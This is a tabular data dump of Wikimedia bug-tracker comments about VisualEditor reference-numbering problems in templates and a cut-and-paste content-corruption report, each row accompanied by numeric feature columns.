Describing a widely used template as a ""hack"" and refusing to fix the bugs associated with VE in terms of editing it is not a valid solution. The template does work and the references work fine using the normal editor. There's no way to code the template to not include the #ref.

It is not within the scope of the VE project to refuse to fix problems because they are hard.

I strongly, strongly object to the implication in the addition to 52478 that implies that this bug in VE will never be fixed.",,,1377819846,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,2.0,1.0,2.5,2.0,2.5,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,1.0,0.5,6.0,12.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.5,1.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,2.5,0.0,1.0,0.0,0.0,1.0,10.0,1.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,9.0,3.0,5.5,2.0,1.0,10.0,0.0,0.0,0.0,1.0,5.5,0.0,1.0,0.0,3.0,12.5,3.0,0.0,1.0,0.0,3.0,0.0,1.0,1.5,0.0,2.0,0.0,0.0,0.0,3.7894736842105265,0.7368421052631579,"**kwwilliams** wrote:

Describing a widely used template as a ""hack"" and refusing to fix the bugs associated with VE in terms of editing it is not a valid solution. The template does work and the references work fine using the normal editor. There's no way to code the template to not include the #ref.

It is not within the scope of the VE project to refuse to fix problems because they are hard.

I strongly, strongly object to the implication in the addition to 52478 that implies that this bug in VE will never be fixed."
241500,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 52478 has been marked as a duplicate of this bug. ***,,,1377819444,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52478 has been marked as a duplicate of this bug. ***
241491,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",Resolving Bug 28980 could relieve at least part of this problem by lifting the need to use <ref> because of localization issues.,,,1374930557,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,24.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,8.0,4.28,0.96,Resolving Bug 28980 could relieve at least part of this problem by lifting the need to use <ref> because of localization issues.
241483,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 52083 has been marked as a duplicate of this bug. ***,,,1374880234,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52083 has been marked as a duplicate of this bug. ***
241478,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","The ref duplication issue (last bullet point) was actually a Parsoid bug which is fixed with the commit above. It only manifested itself in templated references sections which are not rendered by VE. The fix is deployed to production.

The other VE issues remain, but fortunately are less visible to users unless they modify references.",,,1372714617,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,5.0,2.0,6.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,11.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,2.0,2.0,0.0,2.0,0.0,0.0,4.492063492063492,0.8253968253968254,"The ref duplication issue (last bullet point) was actually a Parsoid bug which is fixed with the commit above. It only manifested itself in templated references sections which are not rendered by VE. The fix is deployed to production.

The other VE issues remain, but fortunately are less visible to users unless they modify references."
241473,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Change 71528 merged by jenkins-bot:
Bug 50474: Remove children of references node

https://gerrit.wikimedia.org/r/71528",,,1372714324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,0.9473684210526315,"Change 71528 merged by jenkins-bot:
Bug 50474: Remove children of references node

GERRIT_URL"
241467,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Change 71528 had a related patch set uploaded by GWicke:
WIP Bug 50474: Remove children of references node

https://gerrit.wikimedia.org/r/71528",,,1372713484,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.434782608695652,0.9565217391304348,"Change 71528 had a related patch set uploaded by GWicke:
WIP Bug 50474: Remove children of references node

GERRIT_URL"
241463,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","I think so far we have seen several issues in this area:

* References from templated content are not being picked up by VE, which causes

** the numbering to be off

** those references to be missing in references

** edits to refs whose primary (first in DOM order) definition is templated just update the first non-templated ref alias in the page. Those changes are then not rendered in the PHP parser. Correct behavior would be to explain why that reference cannot be edited.

* Some refs are duplicated in the references section",,,1372712260,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,0,,1.5,0.0,0.0,4.0,2.5,6.0,1.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,1.0,0.0,7.5,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,0.0,4.5,1.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,13.5,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,1.0,4.0,6.5,6.0,1.0,0.0,8.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.0,9.0,2.5,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,3.9732142857142856,0.7589285714285714,"I think so far we have seen several issues in this area:

* References from templated content are not being picked up by VE, which causes

** the numbering to be off

** those references to be missing in references

** edits to refs whose primary (first in DOM order) definition is templated just update the first non-templated ref alias in the page. Those changes are then not rendered in the PHP parser. Correct behavior would be to explain why that reference cannot be edited.

* Some refs are duplicated in the references section"
241458,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Parsoid provides ref info also inside template-generated content, and our ref / references rendering code make use of that. I have proposed to share that code in bug 50505. 

Using the Parsoid rendering on first load could be a workaround, but hacking dynamic updates into that sounds like more trouble than it's worth.",,,1372700420,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,6.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,5.0,13.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,4.306451612903226,0.8548387096774194,"Parsoid provides ref info also inside template-generated content, and our ref / references rendering code make use of that. I have proposed to share that code in bug 50505. 

Using the Parsoid rendering on first load could be a workaround, but hacking dynamic updates into that sounds like more trouble than it's worth."
241452,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",This also prohibits references utilised in templates from being used elsewhere on the page via the template inspector. Blah :/.,,,1372699735,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.909090909090909,0.9545454545454546,This also prohibits references utilised in templates from being used elsewhere on the page via the template inspector. Blah :/.
241449,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","(In reply to comment #9)
> IIRC the VE renders (and numbers) references natively without using our
> rendering at all. Which would make this a VE bug. Trying to confirm.
That's correct. VE does not see the first two references because they are in a template, and so it mistakenly believes the one in ""Early years"" is the first one.

We could mitigate this by using the numbering Parsoid gives us.",,,1372699677,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,2.0,8.0,3.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,13.0,2.0,2.0,11.0,0.0,0.0,0.0,2.0,5.0,0.0,6.0,0.0,6.0,10.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.5483870967741935,0.8064516129032258,"(In reply to comment #9)
QUOTE
QUOTE
That's correct. VE does not see the first two references because they are in a template, and so it mistakenly believes the one in ""Early years"" is the first one.

We could mitigate this by using the numbering Parsoid gives us."
241443,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Moved to VE, as the numbering seems to be re-done in VE.",,,1372696659,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,31.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8125,0.875,"Moved to VE, as the numbering seems to be re-done in VE."
241437,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",IIRC the VE renders (and numbers) references natively without using our rendering at all. Which would make this a VE bug. Trying to confirm.,,,1372696532,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,0,,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,7.0,0.0,0.0,0.0,4.0344827586206895,0.896551724137931,IIRC the VE renders (and numbers) references natively without using our rendering at all. Which would make this a VE bug. Trying to confirm.
241431,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","It seems that this bug doesn't cause any wikitext corruption, but only affects display in VE.  Still something we should fix on the Parsoid end, but not as troublesome as I initially thought this was.",,,1372695038,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,0,,2.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,5.0,0.0,15.0,10.0,2.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,12.0,2.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,10.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.048780487804878,0.8780487804878049,"It seems that this bug doesn't cause any wikitext corruption, but only affects display in VE.  Still something we should fix on the Parsoid end, but not as troublesome as I initially thought this was."
241425,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Looks like the ref-counter has been reset after the 2nd ref-tag was processed and also, 13 references are duplicated (the first 2 are not duplicated).

The bug cannot be duplicated locally.  So, I suspect something is off when refs are being reused from Varnish caches.",,,1372633730,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,True,,,-1,,0.0,2.0,0.0,12.0,3.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,7.0,14.0,8.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.830508474576271,0.7966101694915254,"Looks like the ref-counter has been reset after the 2nd ref-tag was processed and also, 13 references are duplicated (the first 2 are not duplicated).

The bug cannot be duplicated locally.  So, I suspect something is off when refs are being reused from Varnish caches."
241417,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",Indeed. In my defence it's 10pm on a Sunday :/,,,1372626164,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,15.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.8461538461538463,1.0,Indeed. In my defence it's 10pm on a Sunday :/
241411,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Ah, I see the new screenshot. You wanted to write ""Early years""?",,,1372622488,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,6.0,0.0,6.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1176470588235294,0.9411764705882353,"Ah, I see the new screenshot. You wanted to write ""Early years""?"
241403,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Yes, there are references with the same name, split into multiple entries but I don't understand how the screenshots you attached should demonstrate that.",,,1372622399,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,7.0,7.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,7.0,4.0,7.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.678571428571429,0.9285714285714286,"Yes, there are references with the same name, split into multiple entries but I don't understand how the screenshots you attached should demonstrate that."
241397,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","How it actually looks

**Attached**: {F11401}",,,1372621957,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9285714285714284,0.7857142857142857,"How it actually looks

**Attached**: {F11401}"
241391,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","How it actually looks

//attachment Screen Shot 2013-06-30 at 12.24.02 PM.png ignored as obsolete//",,,1372620753,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,11.0,16.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,0.9473684210526315,"How it actually looks

//attachment Screen Shot 2013-06-30 at 12.24.02 PM.png ignored as obsolete//"
241386,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","How it should look

**Attached**: {F11400}",,,1372620731,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7142857142857144,0.7857142857142857,"How it should look

**Attached**: {F11400}"
52465,"VisualEditor: Cut-and-paste swap of reference list creates massive content duplication, pawns (♙) and snowmen (☃) galore","https://en.wikipedia.org/w/index.php?title=Edamattom&diff=562268939&oldid=562266260 <- this was from an attempt to swap a references section and an external links section. We cannot have this scale corruption on launch. I'd be most grateful if someone could find out what the heck happened, and also confirm with some degree of certainty that it won't happen again.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51677",Medium,50.0,1372612320,1378550137.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-xnsrcsuce62r2yfruwso,task_description,declined,True,c1,2,False,False,True,-1,,1.0,1.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,9.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,1.0,0.0,0.0,14.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,9.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,3.7126436781609193,0.735632183908046,"URL <- this was from an attempt to swap a references section and an external links section. We cannot have this scale corruption on launch. I'd be most grateful if someone could find out what the heck happened, and also confirm with some degree of certainty that it won't happen again.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
240813,"VisualEditor: Cut-and-paste swap of reference list creates massive content duplication, pawns (♙) and snowmen (☃) galore",I think this has been fixed for a while. Re-open if you can reproduce it.,,,1378550137,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xnsrcsuce62r2yfruwso,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,11.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,3.1052631578947367,0.9473684210526315,I think this has been fixed for a while. Re-open if you can reproduce it.
